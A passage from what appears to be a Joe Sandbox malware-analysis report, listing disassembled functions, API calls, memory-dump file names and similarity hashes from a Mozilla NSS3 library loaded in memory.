SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6D02BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CFE04DC,?,?), ref: 6D02BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6D02BEEB

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 254b4dcfad5f0d1421c831baa876aac6756b99620585107407e8e3a77c569de3
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: EC11277660A21767FB009966ACC0F2B77ADEB407A8F054425FF04C725EE731D80087E2

Function 6CFDAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CFD3FFF,00000000,?,?,?,?,?,6CFD1A1C,00000000,00000000), ref: 6CFDADA7

Part of subcall function 6D0314C0: TlsGetValue.KERNEL32 ref: 6D0314E0
Part of subcall function 6D0314C0: EnterCriticalSection.KERNEL32 ref: 6D0314F5
Part of subcall function 6D0314C0: PR_Unlock.NSS3 ref: 6D03150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CFD3FFF,00000000,?,?,?,?,?,6CFD1A1C,00000000,00000000), ref: 6CFDADB4

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CFD3FFF,?,?,?,?,6CFD3FFF,00000000,?,?,?,?,?,6CFD1A1C,00000000), ref: 6CFDADD5

Part of subcall function 6D02FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6D028D2D,?,00000000,?), ref: 6D02FB85
Part of subcall function 6D02FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6D02FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6D0F94B0,?,?,?,?,?,?,?,?,6CFD3FFF,00000000,?), ref: 6CFDADEC

Part of subcall function 6D02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D1018D0,?), ref: 6D02B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CFD3FFF), ref: 6CFDAE3C

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 37d2d355b7e19b86641a6c63415e83af595c91a73cbb65d0e84b27e18f2079d4
Instruction ID: 0b1360f475d6a606d7c0f0f2b1f4ea067570245310d7d8d1a913c5e10124f5f6
Opcode Fuzzy Hash: 37d2d355b7e19b86641a6c63415e83af595c91a73cbb65d0e84b27e18f2079d4
Instruction Fuzzy Hash: AB117832E003066BF7109B65AC40BBF73E8DF9524CF0A4228ED198B241FB20F954C2E6

Function 6CFF8E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6D012E62,?,?,?,?,?,?,?,00000000,?,?,?,6CFE4F1C), ref: 6CFF8EA2

Part of subcall function 6D01F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6D01F854
Part of subcall function 6D01F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6D01F868
Part of subcall function 6D01F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6D01F882
Part of subcall function 6D01F820: free.MOZGLUE(04C483FF,?,?), ref: 6D01F889
Part of subcall function 6D01F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6D01F8A4
Part of subcall function 6D01F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6D01F8AB
Part of subcall function 6D01F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6D01F8C9
Part of subcall function 6D01F820: free.MOZGLUE(280F10EC,?,?), ref: 6D01F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6D012E62,?,?,?,?,?,?,?,00000000,?,?,?,6CFE4F1C), ref: 6CFF8EC3
TlsGetValue.KERNEL32(?,?,?,6D012E62,?,?,?,?,?,?,?,00000000,?,?,?,6CFE4F1C), ref: 6CFF8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6D012E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CFF8EF1
PR_Unlock.NSS3 ref: 6CFF8F20

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: 16377d39e65705543af36069d530fa112cef230dceb62f87a3611b4adac6cb55
Instruction ID: cc85d5cd8278d98ea1a1fa42703f780d87fef95a2e0fe8a8deb3df51748ef293
Opcode Fuzzy Hash: 16377d39e65705543af36069d530fa112cef230dceb62f87a3611b4adac6cb55
Instruction Fuzzy Hash: 0E21D1719087059FDB00AF2AD484299BBF4FF49318F02456EEDA89B750D730E851CBC2

Function 6CFE8FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CFF0710), ref: 6CFE8FF1
PR_CallOnce.NSS3(6D132158,6CFE9150,00000000,?,?,?,6CFE9138,?,6CFF0710), ref: 6CFE9029
calloc.MOZGLUE(00000001,00000000,?,?,6CFF0710), ref: 6CFE904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CFF0710), ref: 6CFE9066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CFF0710), ref: 6CFE9078

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: b561b121ad02b99f1678279b6c1d918e48de1c89b8935d251c1e2598088aaf32
Instruction ID: 71986964395acab655f9c9b0bc134dcee4c6783e1baf1a3613f73ea701b60405
Opcode Fuzzy Hash: b561b121ad02b99f1678279b6c1d918e48de1c89b8935d251c1e2598088aaf32
Instruction Fuzzy Hash: 8B11086160111177E7201A7EAC04BA732ACDB867ACF950135FE84C6A45FB93CE5583B1

Function 6CFFCD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6D011E10: TlsGetValue.KERNEL32 ref: 6D011E36
Part of subcall function 6D011E10: EnterCriticalSection.KERNEL32(?,?,?,6CFEB1EE,2404110F,?,?), ref: 6D011E4B
Part of subcall function 6D011E10: PR_Unlock.NSS3 ref: 6D011E76

free.MOZGLUE(?,6CFFD079,00000000,00000001), ref: 6CFFCDA5
PK11_FreeSymKey.NSS3(?,6CFFD079,00000000,00000001), ref: 6CFFCDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CFFD079,00000000,00000001), ref: 6CFFCDCF
DeleteCriticalSection.KERNEL32(?,6CFFD079,00000000,00000001), ref: 6CFFCDE2
free.MOZGLUE(?), ref: 6CFFCDE9

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 4ad4518da70a12f93f9517bbb37c705a40e27b1633546213b6864a3bcbbab678
Instruction ID: 08303301610d736095960d84fa152dd5ba29ceff515e6ea70c31e87eb7586091
Opcode Fuzzy Hash: 4ad4518da70a12f93f9517bbb37c705a40e27b1633546213b6864a3bcbbab678
Instruction Fuzzy Hash: B611CEB6A05121BBEF10AEA5EC45F9ABB6DFF042687100121EA2987911E732E475C7E1

Function 6D062D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6D065B40: PR_GetIdentitiesLayer.NSS3 ref: 6D065B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6D062D9C

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

PR_EnterMonitor.NSS3(?), ref: 6D062DB2
PR_EnterMonitor.NSS3(?), ref: 6D062DCF
PR_ExitMonitor.NSS3(?), ref: 6D062DF2
PR_ExitMonitor.NSS3(?), ref: 6D062E0B

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 5cd395c7792ba6b3d65a92e6b11af2af61f1044cfd758a8c99ce5ca50b0f87bd
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: FD01C4B5A142405FFB309E39FC01F9BB7A5EF45318F015435E95A8B221D632F82196A3

Function 6D062CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6D065B40: PR_GetIdentitiesLayer.NSS3 ref: 6D065B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6D062CEC

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

PR_EnterMonitor.NSS3(?), ref: 6D062D02
PR_EnterMonitor.NSS3(?), ref: 6D062D1F
PR_ExitMonitor.NSS3(?), ref: 6D062D42
PR_ExitMonitor.NSS3(?), ref: 6D062D5B

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 24fb0b2dcb6184d8391aeba3da4533dc848a92dc96e6595f4b7317c5d1710b2e
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 380104B5E042409FF7309E35FC40B8BB3E5EF45318F015425E9598B221E232F81187A2

Function 6CFFAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CFE3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFFAE42), ref: 6CFE30AA
Part of subcall function 6CFE3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFE30C7
Part of subcall function 6CFE3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CFE30E5
Part of subcall function 6CFE3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CFE3116
Part of subcall function 6CFE3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFE312B
Part of subcall function 6CFE3090: PK11_DestroyObject.NSS3(?,?), ref: 6CFE3154
Part of subcall function 6CFE3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFE317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CFD99FF,?,?,?,?,?,?,?,?,?,6CFD2D6B,?), ref: 6CFFAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CFD99FF,?,?,?,?,?,?,?,?,?,6CFD2D6B,?), ref: 6CFFAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CFD2D6B,?,?,00000000), ref: 6CFFAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CFD2D6B,?,?,00000000), ref: 6CFFAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CFD2D6B,?,?), ref: 6CFFAEA3

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 1537e8041a88e10c9dfeaa38933fc5a9ce0c7b26437229728468a5b884437d78
Instruction ID: 84e1fd39b71c828fc40c8367129690f056df96d85d02f32cdc658f3ce04dadea
Opcode Fuzzy Hash: 1537e8041a88e10c9dfeaa38933fc5a9ce0c7b26437229728468a5b884437d78
Instruction Fuzzy Hash: 4101F4B3B0501067E701932EEC85BEB3198CB87A9CF080171EA25C7B21F612C90742A3

Function 6D0EBDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6D0E7AFE,?,?,?,?,?,?,?,?,6D0E798A), ref: 6D0EBDC3
free.MOZGLUE(?,?,6D0E7AFE,?,?,?,?,?,?,?,?,6D0E798A), ref: 6D0EBDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6D0E7AFE,?,?,?,?,?,?,?,?,6D0E798A), ref: 6D0EBDE9
free.MOZGLUE(?,00000000,00000000,?,6D0E7AFE,?,?,?,?,?,?,?,?,6D0E798A), ref: 6D0EBE21
free.MOZGLUE(00000000,00000000,?,6D0E7AFE,?,?,?,?,?,?,?,?,6D0E798A), ref: 6D0EBE32

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 4b9d4e9296defc809656efec72b2a3b8224d81de14581ae407ab6b9131438178
Instruction ID: 8a9a7f1e27d444c82d7efc04758c1ec905629a029f9532b2b75a87826e6a9eca
Opcode Fuzzy Hash: 4b9d4e9296defc809656efec72b2a3b8224d81de14581ae407ab6b9131438178
Instruction Fuzzy Hash: 6B11DAB9A052019FEF31EFA9F845B523BB5BB4A254B460125D50A87310E7B1D458CBD1

Function 6D0E7C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6D0E7C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0E7C83
malloc.MOZGLUE(00000001), ref: 6D0E7C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6D0E7C9F
PR_GetCurrentThread.NSS3 ref: 6D0E7CAD

Part of subcall function 6D099BF0: TlsGetValue.KERNEL32(?,?,?,6D0E0A75), ref: 6D099C07

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 020514cdab1cba5ee9ccd3df0ec2390f8585242f4929a27cf876675865597e6f
Instruction ID: 45075e3be19c97c7fb51fb00b24b1a6d595cc8c0a15459c247b14e92b4903426
Opcode Fuzzy Hash: 020514cdab1cba5ee9ccd3df0ec2390f8585242f4929a27cf876675865597e6f
Instruction Fuzzy Hash: 8CF0C2F1D1421A7FFB009F3AAC09A17779CEF442A4B018439E90DC7311E735E110CAA5

Function 6D0EADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6D0EA6D8), ref: 6D0EAE0D
free.MOZGLUE(?), ref: 6D0EAE14
DeleteCriticalSection.KERNEL32(6D0EA6D8), ref: 6D0EAE36
free.MOZGLUE(?), ref: 6D0EAE3D
free.MOZGLUE(00000000,00000000,?,?,6D0EA6D8), ref: 6D0EAE47

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: d4679523507f5126c43b85c41a32a02329d1c8e4377c96bab66b9c914c34383c
Instruction ID: f9b1e393995e3eea41066595776a7bd513b0b0691487788a9e4e7b45098e5aa9
Opcode Fuzzy Hash: d4679523507f5126c43b85c41a32a02329d1c8e4377c96bab66b9c914c34383c
Instruction Fuzzy Hash: C4F09675000A02BBDB108F68E809F5777BDBF8A7757140328E63A83640E772E165C7D5

Function 6CF77C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF77D35

Strings

database corruption, xrefs: 6CF77D29
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF77D13, 6CF77D1F, 6CF77D47, 6CF77D53, 6CF77D5F
%s at line %d of [%.10s], xrefs: 6CF77D2E

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 5b2de6305f5343d32b4d1d855f3e9338f675f8ca6d6cb6f2414c5f006e23c49c
Instruction ID: 8a1e9b67176b2fcb836258ed84b01e4ca2c334cfe500c2a4aae2ceb58e1db872
Opcode Fuzzy Hash: 5b2de6305f5343d32b4d1d855f3e9338f675f8ca6d6cb6f2414c5f006e23c49c
Instruction Fuzzy Hash: 53311631E1422597C721CF9DD880ABABBF2FF48305B5901A7E445B7786D6B0D841C7B0

Function 6CF66C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CF66D36

Strings

database corruption, xrefs: 6CF66D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF66D20
%s at line %d of [%.10s], xrefs: 6CF66D2F

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 2c1e121abacf1a091e6725b87924768f0c642fb1dcfa02bc7fdd260d1be5b5d9
